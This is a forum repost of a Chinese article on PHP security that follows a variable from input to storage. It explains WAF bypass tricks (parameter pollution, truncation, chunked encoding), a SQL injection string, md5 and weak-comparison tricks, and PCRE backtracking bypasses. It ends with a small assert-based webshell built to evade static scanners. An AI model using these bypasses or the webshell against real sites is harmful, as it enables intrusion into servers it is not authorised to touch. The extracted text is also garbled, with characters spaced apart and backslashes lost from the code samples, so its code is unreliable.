搜索

[15819] 2020-09-06_PHP安全：变量的前世今生

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-09-06_PHP安全：变量的前世今生 P H P 安 全 ： 变 量 的 前 世 今 生 悠 悠 P M 1 0   F r e e B u f   2 0 2 0 - 0 9 - 0 6 摘 要 摘 要 变 量 安 全 是 P H P 安 全 的 重 要 部 分 ， 本 文 系 统 地 分 析 了 一 个 变 量 的 “ 人 生 之 旅 ” 中 存 在 哪 些 安 全 问 题 。 变 量 的 人 生 之 路 : 传 入 参 数 → 变 量 生 成 → 变 量 处 理 - > 变 量 储 存 。 P a r t 1   传 入 参 数 传 入 参 数 传 参 是 一 个 从 前 台 通 过 G E T 或 者 P O S T 方 法 传 递 参 数 的 过 程 ， 在 这 里 我 们 往 往 会 遇 到 U R L - W A F 的 安 全 判 断 。 U R L - W A F 指 的 是 对 请 求 的 U R L 进 行 一 系 列 正 则 匹 配 进 行 判 断 的 功 能 。 1 、 传 参 时 使 用 畸 形 的 、 传 参 时 使 用 畸 形 的 H T T P 方 法 ， 很 多 方 法 ， 很 多 W A F 只 检 查 只 检 查 P O S T 或 者 或 者 G E T 方 法 方 法 A B C D E F G   / l a b _ v a l u e / g e t . p h p ? n u m _ v a l u e = h h h   H T T P / 1 . 1 G E T   / l a b _ v a l u e / g e t . p h p ? n u m _ v a l u e = h h h   H T T P / 1 . 1 上 面 两 者 是 等 效 的 ， 填 H T T P 方 法 的 地 方 可 以 填 任 意 非 保 留 字 。 如 下 图 所 示 。
2 、 、   传 参 的 正 则 匹 配 传 参 的 正 则 匹 配 b y p a s s ： ： U R L - W A F 往 往 具 有 一 些 通 病 往 往 具 有 一 些 通 病 ( 1 ) . H P P 参 数 污 染 。 部 分 W A F 在 检 查 重 复 参 数 的 时 候 ， 常 常 只 检 查 第 一 个 ， 我 们 可 以 通 过 重 复 传 参 b y p a s s ， 如 / ? p a s s w o r d = a d m i n & & p a s w o r d = ’   o r d e r   b y   1 — +   但 要 注 意 只 有 解 析 P H P 的 中 间 件 才 会 把 最 后 一 个 参 数 覆 盖 之 前 的 参 数 （ 重 复 参 数 ， 如 上 面 的 例 子 ） 。 ( 2 ) . 截 断 绕 过 。 ① 长 度 截 断 ： 部 分 W A F 在 检 查 U R L 参 数 的 时 候 ， 为 了 节 约 资 源 ， 往 往 会 截 取 一 定 长 度 的 参 数 进 行 安 全 检 查 ， 而 忽 略 后 面 的 参 数 。 ② 终 止 符 截 断 。 部 分 W A F 遇 到 % 0 0 会 判 定 参 数 读 取 完 成 ， 只 检 查 部 分 内 容 。 数 据 分 裂 绕 过 。 ( 3 ) . U R L - W A F 往 往 对 每 一 个 请 求 单 独 检 查 或 在 连 续 但 分 次 的 请 求 只 检 查 第 一 次 。 ① 利 用 分 块 编 码 传 输 绕 过 。 当 消 息 体 的 头 （ h e a d e r ） 存 在 T r a n s f e r - E n c o d i n g : c h u n k e d 时 ， 代 表 使 用 了 分 块 编 码 传 输 ， 可 以 将 几 次 请 求 合 并 。 消 息 体 由 数 量 未 定 的 块 组 成 ， 每 一 个 非 空 的 块 都 以 该 块 包 含 数 据 的 字 节 数 （ 字 节 数 以 十 六 进 制 表 示 ） 开 始 ， 跟 随 一 个 C R L F   （ 回 车 及 换 行 ） ， 然 后 是 数 据 本 身 ， 最 后 块 C R L F 结 束 。 最 后 一 块 是 单 行 ， 由 块 大 小 （ 0 ） ， 一 些 可 选 的 填 充 白 空 格 ， 以 及 C R L F 。 最 后 一 块 不 再 包 含 任 何 数 据 ， 但 是 可 以 发 送 可 选 的 尾 部 ， 包 括 消 息 头 字 段 。 消 息 最 后 以 C R L F 结 尾 。 ② 利 用 p i p l i n e 绕 过 。 当 消 息 体 的 头 存 在 C o n n e c t i o n : k e e p - a l i v e 时 ， 代 表 本 次 请 求 建 立 的 连 接 在 C o n n e c t i o n 的 值 改 为 c l o s e 前 不 会 中 断 。 注 意 要 关 闭 b u r p s u i t 的 r e p e a t e r 模 块 的 C o n t e n t - L e n g t h 自 动 更 新 。 3 、 传 参 的 数 据 类 型 匹 配 、 传 参 的 数 据 类 型 匹 配 b y p a s s ： 传 入 的 变 量 类 型 出 乎 意 料 ： 传 入 的 变 量 类 型 出 乎 意 料 对 于 $ _ G E T [ ‘ n u m _ v a l u e ’ ] ( 并 且 $ _ P O S T [ ‘ n u m _ v a l u e ’ ] 也 是 同 理 ) 来 说 ， 并 不 是 只 有 / ? n u m _ v a l u e = x x x 作 为 合 法 有 效 的 参 数 传 递 格 式 。 P H P 接 受 参 数 时 会 对 得 到 的 参 数 名 进 行 一 定 变 换 。 输 入 的 内 容 （ 传 入 时 会 输 入 的 内 容 （ 传 入 时 会 u r l 编 码 ） 编 码 ） P H P 解 析 出 的 变 量 名 解 析 出 的 变 量 名 空 格 n u m _ v a l u e n u m _ v a l u e n u m [ v a l u e   ( 这 里 必 须 左 ， 右 会 报 错 ) n u m _ v a l u e n u m . v a l u e n u m _ v a l u e N u m _ v a l u e （ 大 小 写 敏 感 ） 报 错 n u m   v a l u e n u m _ v a l u e n u m _ v a l u e n u m _ v a l u e 如 果 输 入 / ? n u m _ v a l u e [ ] = x x x   也 是 合 法 的 ， 但 是 数 据 类 型 与 上 方 清 一 色 的 s t r i n g 不 同 ， 传 入 一 个 数 组 。 在 c t f 里 常 利 用 这 一 点 ， 因 为 m d 5 ( 数 组 ) = = 0 。 4 、 传 参 时 的 编 码 问 题 、 传 参 时 的 编 码 问 题 ( 1 ) . 源 代 码 存 在 文 件 操 作 函 数 时 ， u r l 解 码 两 次 ， 此 时 可 以 两 次 编 码 u r l e n c o d e 。 ( 如 % 2 7 变 为 % 2 5 % 2 7 ) ( 2 ) . U r l 解 码 时 ， 如 果 遇 到 % + 字 母 ， 会 自 动 过 滤 % 。 如 果 传 入 s e l % e c t ， 解 码 得 到 s e l e c t 。 ( 3 ) . B a s e 6 4 解 码 时 ， 如 果 字 符 数 量 不 是 三 倍 数 ， 会 无 法 解 码 抛 出 错 误 。 P a r t 2   变 量 生 成 变 量 生 成 传 入 参 数 后 ， p h p 会 根 据 一 定 规 则 生 成 变 量 。
( 1 ) . 服 务 器 使 用 R E Q U E S T 获 取 参 数 ， 它 可 以 通 过 P O S T 和 G E T 同 时 发 包 绕 过 部 分 W A F 。 ( 2 ) . 服 务 器 使 用 e x t r a c t (   ) 函 数 ， 把 得 到 的 变 量 中 的 键 与 值 生 成 对 应 变 量 ， 可 能 会 导 致 变 量 覆 盖 ， 从 而 造 成 安 全 问 题 。 C t f 常 用 来 覆 盖 白 名 单 。 ( 3 ) . 变 量 名 加 上 [ ] 传 入 数 组 ， 绕 过 关 于 m d 5 函 数 的 一 些 检 查 。 如 m d 5 ( a a a [ ] ) = = = m d 5 ( b b b [ ] ) ( 4 ) . 反 序 列 化 。 服 务 器 使 用 u n s e r i a l i z e (   ) 函 数 处 理 参 数 ， 实 例 化 成 一 个 对 象 。 这 里 要 提 到 一 个 P H P 关 于 变 量 生 成 的 特 殊 性 质 。 x 6 6 是 字 符 串 的 a s c i i 值 的 十 六 进 制 形 式 在 前 加 上 x ， 可 以 用 下 面 的 脚 本 生 成 ( 5 ) . 跟 4 的 原 理 有 相 似 之 处 。 m d 5 ( x x x , t u r e ) 会 输 出 一 个 1 6 位 的 二 进 制 数 据 ， 这 个 二 进 制 数 据 也 有 机 会 被 p h p 解 码 。 所 以 x x x 是 f f i f d y o p 时 ， 会 被 p h p 认 为 类 似 于 万 能 密 码 ’   o r   1 = 1 （ 实 际 上 有 一 点 区 别 ， 后 面 不 是 1 = 1 ， 但 是 也 是 T U R E ） P a r t 3   变 量 处 理 变 量 处 理 生 成 一 个 变 量 后 ， P H P 无 非 就 是 进 行 三 种 处 理 — — 变 量 比 较 ， 正 则 匹 配 ， 反 序 列 化 ， 下 面 我 们 来 逐 个 分 析 。 （ 反 序 列 化 本 篇 暂 且 不 提 ， 以 后 专 门 讲 ） 1 、 变 量 比 较 、 变 量 比 较 P H P 的 弱 类 型 自 诞 生 以 来 就 不 断 遭 人 诟 病 。 P H P 有 两 种 比 较 是 否 相 等 的 符 号 ， 分 别 是 ” = = ” 和 ” = = = ” ， 前 者 只 比 较 值 是 否 相 等 ， 当 不 同 类 型 互 相 比 较 会 自 动 转 型 ， 安 全 问 题 就 发 生 在 这 里 ， 后 者 先 比 较 类 型 ， 再 比 较 值 ， 对 类 型 不 同 的 比 较 返 回 f a l s e 。 如 下 表 : 2 、 正 则 匹 配 、 正 则 匹 配 ( 1 ) . 异 或 绕 过 P H P 有 一 个 神 奇 的 特 性 ， 异 或 。 异 或 本 身 并 不 是 神 奇 的 东 西 ， 但 是 P H P 可 以 让 字 符 串 以 a s c i i 编 码 进 行 异 或 异 或 的 简 单 规 则 ： 如 果 a 、 b 两 个 值 不 相 同 ， 那 么 异 或 结 果 为 1 。 如 果 a 、 b 两 个 值 相 同 ， 那 么 异 或 结 果 为 0 。 比 较 两 边 只 能 有 一 个 为 t r u e 时 才 返 回 为 t r u e 否 则 返 回 f a l s e 。 字 母 与 数 字 （ 类 似 i n t 整 形 的 真 正 的 数 字 ） 异 或 结 果 是 原 数 字 ， 不 带 引 号 的 字 母 会 被 认 为 是 字 符 串 。 下 面 是 一 个 简 单 的 例 子 。 V a r _ d u m p ( “ x 6 6 x 6 c x 6 1 x 6 7 ” = = ” f l a g ” ) ;   / /   输 出 是 b o o l （ t u r e ） 同 样 的 ， 反 序 列 化 O ： 5 ” G u e s s ” : 1 : { s : 3 : ” k e y ” ; s : 1 6 : ” x 6 6 x 6 c x 6 1 x 6 7 ” ; } 与 反 序 列 化 O ： 5 ” G u e s s ” : 1 : { s : 3 : ” k e y ” ; s : 1 6 : ” f l a g ” ; } 没 有 区 别 < ? p h p $ s t r i n g   =   ' f l a g ' ; / / 在 这 里 输 入 要 处 理 的 字 符 串 $ a r r   =   s t r _ s p l i t ( b i n 2 h e x ( $ s t r i n g ) ,   2 ) ; f o r e a c h   ( $ a r r   a s   $ v a l u e )   { p r i n t ( ' x ' . $ v a l u e ) ; } / / 结 果 是   x 6 6 x 6 c x 6 1 x 6 7 ? > v a r _ d u m p ( " a b c d " = = 0 ) ;   / / t r u e v a r _ d u m p ( " 1 a b c d " = = 1 ) ; / / t r u e v a r _ d u m p ( " a b c d 1 " = = 1 )   / / f a l s e   字 符 串 和 数 字 比 较 ， 比 较 前 面 的 同 类 型 部 分 v a r _ d u m p ( a b d c 1 = = 0 )       / / t r u e   但 是 同 时 会 报 错 v a r _ d u m p ( a b d c 1 = = 1 )       / / f a l s e   但 是 同 时 会 报 错 v a r _ d u m p ( F a l s e = = 0 )     / / t r u e v a r _ d u m p ( " a b c d 1 " = = 0 )   / / t r u e v a r _ d u m p ( " 0 e 1 2 3 4 5 6 7 8 9 " = = " 0 e 8 8 8 8 8 8 " )   / / t r u e   p h p 把 0 e 开 头 解 释 为 科 学 计 数 法 ， 为 0 不 过 ， 字 符 串 和 布 尔 值 不 能 比 较 3   x o r   2 = = 1 2   x o r   2 = = 0 ' ` ' ^ ' * ' = = ' J '   （ a s c i i 编 码 异 或 ） a ^ 2 = = 2   （ 但 会 报 错 ） 附 上 一 个 p y t h o n 脚 本 d e f   x o r ( ) : f o r   x   i n   r a n g e ( 0 , 1 2 7 ) : f o r   y   i n   r a n g e ( 0 , 1 2 7 ) : z = x ^ y p r i n t ( "     " + c h r ( x ) + " a s c i i : " + s t r ( x ) + '   x o r   ' + c h r ( y ) + "   a s c i i : " + s t r ( y ) + '   = =   ' + c h r ( z ) + "   a s c i i : " + s t r ( z ) ) / / 复 制 粘 贴 要 注 意 这 里 和 上 一 行 是 同 一 行 ， 不 然 报 错 i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " : x o r ( )
( 2 ) . p c r e 回 溯 次 数 绕 过 P H P 的 正 则 表 达 式 中 ， 匹 配 模 式 带 有 通 配 符 （ 例 如 或 者 ? ） 就 有 可 能 发 生 回 溯 。 通 配 符 前 面 和 后 面 存 在 其 他 匹 配 要 求 ， 就 容 易 引 起 回 溯 ， 正 则 表 达 式 每 一 个 符 号 都 会 匹 配 完 整 个 字 符 串 ， 匹 配 得 出 的 临 时 结 果 让 下 一 个 正 则 匹 配 符 号 再 次 匹 配 完 整 个 字 符 串 。 比 如 / ^ < . > / ， 它 会 匹 配 一 个 h t m l 标 签 里 面 的 内 容 。 当 我 们 输 入 b c d e f g 用 于 匹 配 时 ， < 匹 配 到 开 头 的 尖 括 号 ， 匹 配 到 行 末 ， 没 有 发 现 尖 括 号 ， 结 果 是 开 头 的 尖 括 号 。 从 去 除 第 一 个 尖 括 号 的 结 果 继 续 匹 配 ， 由 于 什 么 都 能 匹 配 ， 直 接 匹 配 到 行 末 。 此 时 > 开 始 匹 配 ， 发 现 行 末 后 面 没 有 字 符 串 就 开 始 回 溯 ， 匹 配 g ， 发 现 不 对 ， 在 临 时 结 果 中 去 掉 g ， 继 续 回 溯 ， 匹 配 f ， 不 对 ， 回 溯 ， 如 此 反 复 得 到 > ， 匹 配 出 终 极 结 果 。 当 b c d e f g 达 到 一 百 万 个 时 ， P H P 不 会 继 续 回 溯 ， 就 跳 过 了 匹 配 返 回 f a l s e ， 从 而 绕 过 正 则 。 P H P 为 了 避 免 这 种 问 题 ， 提 出 了 新 的 语 句 规 范 ， 正 则 匹 配 如 果 是 未 匹 配 到 字 符 ， 会 返 回 0 ， 回 溯 次 数 太 多 ， 返 回 f a l s e 。 使 用 = = = 比 较 结 果 ， 就 不 会 绕 过 i f 判 断 。 P a r t 4   变 量 储 存 变 量 储 存 一 个 变 量 有 时 候 在 处 理 完 还 有 最 后 一 步 ， 储 存 （ 入 土 ） 。 储 存 之 后 ， 依 旧 会 有 W A F 来 检 查 有 没 有 威 胁 （ 诈 尸 ） 。 但 无 无 论 如 何 ， 现 在 的 储 存 检 查 都 是 静 态 检 查 ， 所 以 绕 过 起 来 并 不 困 难 。 （ 即 使 是 D 盾 ） 1 、 静 态 绕 过 ( 1 ) . 命 名 空 间 的 利 用 静 态 检 查 储 存 的 变 量 （ 比 如 小 马 ） ， 回 调 函 数 加 上 一 个 命 名 空 间 一 般 都 可 以 绕 过 ， 手 册 内 容 太 多 ， 一 般 面 对 百 分 之 九 十 的 W A F ， 在 回 调 函 数 前 面 加 一 个 就 完 事 了 。 ( 2 ) . 自 定 义 函 数 利 用 自 定 义 函 数 对 字 符 串 或 者 函 数 名 进 行 拼 接 ， 删 改 ， 替 换 ， 除 了 绕 过 W A F ， 更 有 一 些 优 秀 的 危 险 代 码 可 以 绕 过 人 ， 比 如 对 代 码 后 面 的 空 格 统 计 数 量 转 化 成 字 符 。 这 里 附 上 一 个 简 单 的 自 定 义 函 数 ， 万 法 归 一 ， 都 是 类 似 的 。 贴 一 段 P H P 中 文 手 册 内 容 < ? p h p n a m e s p a c e   A ; u s e   B D ,   C E   a s   F ; / /   函 数 调 用 f o o ( ) ;             / /   首 先 尝 试 调 用 定 义 在 命 名 空 间 " A " 中 的 函 数 f o o ( ) / /   再 尝 试 调 用 全 局 函 数   " f o o " f o o ( ) ;           / /   调 用 全 局 空 间 函 数   " f o o " m y f o o ( ) ;       / /   调 用 定 义 在 命 名 空 间 " A m y " 中 函 数   " f o o " F ( ) ;                 / /   首 先 尝 试 调 用 定 义 在 命 名 空 间 " A " 中 的 函 数   " F " / /   再 尝 试 调 用 全 局 函 数   " F " / /   类 引 用 n e w   B ( ) ;         / /   创 建 命 名 空 间   " A "   中 定 义 的 类   " B "   的 一 个 对 象 / /   如 果 未 找 到 ， 则 尝 试 自 动 装 载 类   " A B " n e w   D ( ) ;         / /   使 用 导 入 规 则 ， 创 建 命 名 空 间   " B "   中 定 义 的 类   " D "   的 一 个 对 象 / /   如 果 未 找 到 ， 则 尝 试 自 动 装 载 类   " B D " n e w   F ( ) ;         / /   使 用 导 入 规 则 ， 创 建 命 名 空 间   " C "   中 定 义 的 类   " E "   的 一 个 对 象 / /   如 果 未 找 到 ， 则 尝 试 自 动 装 载 类   " C E " n e w   B ( ) ;       / /   创 建 定 义 在 全 局 空 间 中 的 类   " B "   的 一 个 对 象 / /   如 果 未 发 现 ， 则 尝 试 自 动 装 载 类   " B " n e w   D ( ) ;       / /   创 建 定 义 在 全 局 空 间 中 的 类   " D "   的 一 个 对 象 / /   如 果 未 发 现 ， 则 尝 试 自 动 装 载 类   " D " n e w   F ( ) ;       / /   创 建 定 义 在 全 局 空 间 中 的 类   " F "   的 一 个 对 象 / /   如 果 未 发 现 ， 则 尝 试 自 动 装 载 类   " F " / /   调 用 另 一 个 命 名 空 间 中 的 静 态 方 法 或 命 名 空 间 函 数 B f o o ( ) ;         / /   调 用 命 名 空 间   " A B "   中 函 数   " f o o " B : : f o o ( ) ;       / /   调 用 命 名 空 间   " A "   中 定 义 的 类   " B "   的   " f o o "   方 法 / /   如 果 未 找 到 类   " A B "   ， 则 尝 试 自 动 装 载 类   " A B " D : : f o o ( ) ;       / /   使 用 导 入 规 则 ， 调 用 命 名 空 间   " B "   中 定 义 的 类   " D "   的   " f o o "   方 法 / /   如 果 类   " B D "   未 找 到 ， 则 尝 试 自 动 装 载 类   " B D " B f o o ( ) ;       / /   调 用 命 名 空 间 " B "   中 的 函 数   " f o o " B : : f o o ( ) ;     / /   调 用 全 局 空 间 中 的 类   " B "   的   " f o o "   方 法 / /   如 果 类   " B "   未 找 到 ， 则 尝 试 自 动 装 载 类   " B " / /   当 前 命 名 空 间 中 的 静 态 方 法 或 函 数 A B : : f o o ( ) ;       / /   调 用 命 名 空 间   " A A "   中 定 义 的 类   " B "   的   " f o o "   方 法 / /   如 果 类   " A A B "   未 找 到 ， 则 尝 试 自 动 装 载 类   " A A B " A B : : f o o ( ) ;     / /   调 用 命 名 空 间   " A B "   中 定 义 的 类   " B "   的   " f o o "   方 法 / /   如 果 类   " A B "   未 找 到 ， 则 尝 试 自 动 装 载 类   " A B " ? >
除 了 把 保 留 函 数 二 次 调 用 ， 也 可 以 通 过 自 建 加 密 函 数 来 做 到 类 似 效 果 ， 只 要 把 静 态 化 为 动 态 就 可 以 躲 避 扫 描 。 精 彩 推 荐 精 彩 推 荐 阅 读 原 文 < ? p h p f u n c t i o n   x ( $ a , $ b ) { c a l l _ u s e r _ f u n c _ a r r a y ( $ a , $ b ) ; } x ( ‘ a s s e r t ’ , a r r a y ( $ _ P O S T [ ‘ a ’ ] ) ) ; / / 甚 至 对 于 a s s e r t 这 个 关 键 字 也 可 以 用 变 量 再 次 拼 接   $ y = ’ a ’ + ’ s s e r t ’ ; ? >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理